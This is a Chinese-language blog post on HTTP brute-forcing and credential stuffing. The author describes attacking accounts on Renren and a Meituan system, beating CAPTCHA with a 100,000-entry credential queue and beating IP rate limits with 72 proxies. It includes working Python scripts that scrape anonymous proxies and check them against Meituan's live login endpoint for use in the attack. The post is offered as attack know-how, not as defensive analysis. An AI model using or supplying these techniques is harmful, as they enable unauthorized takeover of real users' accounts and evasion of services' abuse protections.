HTTP暴力破解、撞庫,有一些慣用的技巧,比如:
1. 在掃號人人網時,我遇到單個賬號錯誤兩次,強制要求輸入驗證碼,而對方并未實施IP策略。
我采用維護10萬(用戶名,密碼) 隊列的方式來繞過驗證碼。具體的做法是,當某個用戶名、密碼組合遇到需要驗證碼,就把該破解序列掛起,放到隊列尾部等待下次測試,繼續破解其他賬號密碼。
這樣就可以保證2/3的時間都在進行正常破解和掃號。
2. 在破解美團網某系統賬號時,我遇到了單個IP訪問有一定限制,請求頻率不可過快。于是我掛了72個 HTTP代理來解決這個問題。 看似每個IP的請求都正常,但其實從整個程序上看,效率還是挺可觀的。
本篇我發出自己抓HTTP的腳本片段,其實只有幾行。匿名代理是從這里抓取的:http://www.xici.net.co/nn/
首先獲取代理列表 :
from bs4 import BeautifulSoupimport urllib2of = open('proxy.txt' , 'w')for page in range(1, 160): html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read() soup = BeautifulSoup(html_doc) trs = soup.find('table', id='ip_list').find_all('tr') for tr in trs[1:]: tds = tr.find_all('td') ip = tds[1].text.strip() port = tds[2].text.strip() protocol = tds[5].text.strip() if protocol == 'HTTP' or protocol == 'HTTPS': of.write('%s=%s:%s/n' % (protocol, ip, port) ) print '%s=%s:%s' % (protocol, ip, port)of.close()接著驗證代理是否可用,因為我是用于破解美團網系統的賬號,因此用了美團的頁面標記:
#encoding=gbkimport httplibimport timeimport urllibimport threadinginFile = open('proxy.txt', 'r')outFile = open('available.txt', 'w')lock = threading.Lock()def test(): while True: lock.acquire() line = inFile.readline().strip() lock.release() if len(line) == 0: break protocol, proxy = line.split('=') headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': ''} try: conn = httplib.HTTPConnection(proxy, timeout=3.0) conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers ) res = conn.getresponse() ret_headers = str( res.getheaders() ) html_doc = res.read().decode('utf-8') print html_doc.encode('gbk') if ret_headers.find(u'/m/account/login/') > 0: lock.acquire() print 'add proxy', proxy outFile.write(proxy + '/n') lock.release() else: print '.', except Exception, e: print eall_thread = []for i in range(50): t = threading.Thread(target=test) all_thread.append(t) t.start() for t in all_thread: t.join()inFile.close()outFile.close()
新聞熱點
疑難解答